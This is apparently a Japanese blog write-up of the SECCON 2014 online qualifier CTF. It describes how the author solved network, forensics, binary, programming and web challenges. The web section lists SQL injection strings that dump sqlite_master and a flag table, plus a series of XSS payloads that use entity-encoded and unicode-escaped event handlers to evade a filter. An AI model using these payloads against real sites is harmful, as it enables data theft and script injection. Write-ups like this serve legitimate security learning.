SECCON 2014 オンライン予選に出た

7/19(Sat) 9:00 – 21:00までの12時間耐久ctf大会のオンライン予選に参加しました。
結果は1000点取得で57位くらい。

前回よりは点数とれました!
うれしい!
チーム戦な競技なんですが、僕の人脈不足でぼっちチームで参加してました。

解けた問題

練習問題[100]
ネットワーク[100]
フォレンジック[100, 300]
バイナリ[100]
プログラミング[100]
web[100, 300(これは部分点)]

ネットワーク100

問題「このパケットを解析せよ」

添付されたファイルがpcapだったので、Wireshark起動。
中を見てみるとFTPの通信。
ファイルの中身送ってるパケット見つけてdata見てみるとbase64エンコードされた内容が。
というわけでデコードしてflagゲット。

フォレンジック100

問題「ファイルサイズが879,394bytesのファイル名を答える」

バイナリなデータが渡されるのでodする。
879,394bytesを16進数になおして検索してみるとリトルエンディアンな値で発見。
Chrysanthemum.jpgで答え。

フォレンジック300

問題「捏造された契約書を暴け」

rarファイルが渡されて解凍すると.ddなファイルが。
lessしようとすると「binaryだけど、いいの?」と。ダメです。
ls -lしてみるとこのファイルは2012年なものらしい。
それじゃあ、ってことでstringsして2012でgrepかけたら一発でした。
[code]
$ strings Timestanp.dd | grep 2012
2012:05:23 13:29:00
[/code]
おしまい。

バイナリ100

問題「x86アセンブラを読もう」

アセンブラが渡されたので読んで、コードに直すとこんな感じになった。
[code]
#include <stdio.h>

int main()
{
int a=0,i;
for (i = 1; i <= 0xff; i++) {
a+=i;
}
a -= 2;
printf("%d\n", a);
return 0;
}
[/code]
出た数字投げて終わり。

プログラミング100

問題「重ねてみよう」

gif画像渡されるので画像分割して黒の部分を透過処理して上から貼付けまくり。
そしたらQRコードが出てきて、リーダに読ませてflagゲット。
Macならプレビューでできます。
プログラミングなんて知りません。

web100

問題「箱庭SQLiチャレンジ」

SQLインジェクションだーーーーー
中見てみるとsqliteっぽい。
というわけで、sqlite_masterの中身を知りたい。
[code]
' OR 1=1 UNION SELECT * FROM sqlite_master;–
[/code]
して見ると
[code]
CREATE TABLE SECCON(FLAG TEXT NOT NULL)
[/code]
ってしてるところを発見。
多分それが答えだし中を見ようってことで以下を投げると終わり。
[code]
' OR 1=1 UNION SELECT FLAG,NULL,NULL,NULL,NULLL FROM SECCON;–
[/code]

web300

問題「箱庭XSSリターンズ」

「ひたすらXSSしましょう。一度使った文字列は使えなくなりますけどね。」ってやつ。
最初は普通XSSするだけでいいんですが、そのあとからツラさが始まる…。
とりあえずasciiなやつとunicodeなやつを0足しまくって投げてみると動きます。
ってことで以下なコード投げまくり。
部分点で100点ゲットです。
[code]
"><script>alert("XSS")</script>

"/onmouseover="&#0000097;&#0000108;&#0000101;&#0000114;&#0000116;('&#0000088;'+'&#0000083;'+'&#0000083;')
"/onclick="&#000097;&#000108;&#000101;&#000114;&#000116;('&#000088;'+'&#000083;'+'&#000083;')
"/ondblclick="&#00097;&#00108;&#00101;&#00114;&#00116;('&#00088;'+'&#00083;'+'&#00083;')
"/onkeydown="&#0097;&#0108;&#0101;&#0114;&#0116;('&#0088;'+'&#0083;'+'&#0083;')
"/onkeypress="&#097;&#108;&#101;&#114;&#116;('&#088;'+'&#083;'+'&#083;')
"/onchange="&#97;lert('&#88;'+'&#83;'+'&#83;')
"/onchange="\u0061lert('&#88;'+'&#83;'+'&#83;')

"/onmousedown="&#x000061;&#x00006C;&#x000065;&#x000072;&#x000074;('&#x000058;'+'&#x000053;'+'&#x000053;')
"/onfocus="&#x00061;&#x0006C;&#x00065;&#x00072;&#x00074;('&#x00058;'+'&#x00053;'+'&#x00053;')
"/onmouseup="&#x0061;&#x006C;&#x0065;&#x0072;&#x0074;('&#x0058;'+'&#x0053;'+'&#x0053;')
"/onmouseout="&#x061;&#x06C;&#x065;&#x072;&#x074;('&#x058;'+'&#x053;'+'&#x053;')
"/onblur="&#x61;&#x6C;&#x65;&#x72;&#x74;('&#x58;'+'&#x53;'+'&#x53;')

"/onselect="al\u0065rt('\u0058SS')
"/onmousewheel="a\u006Cer\u0074(‘X’+‘SS’)
"/onmousemove="\u0061le\u0072t('\u0058\u0053S')
[/code]

まとめ

今回もとても楽しい大会でした。
でも切実に、ぼっちツラかったです。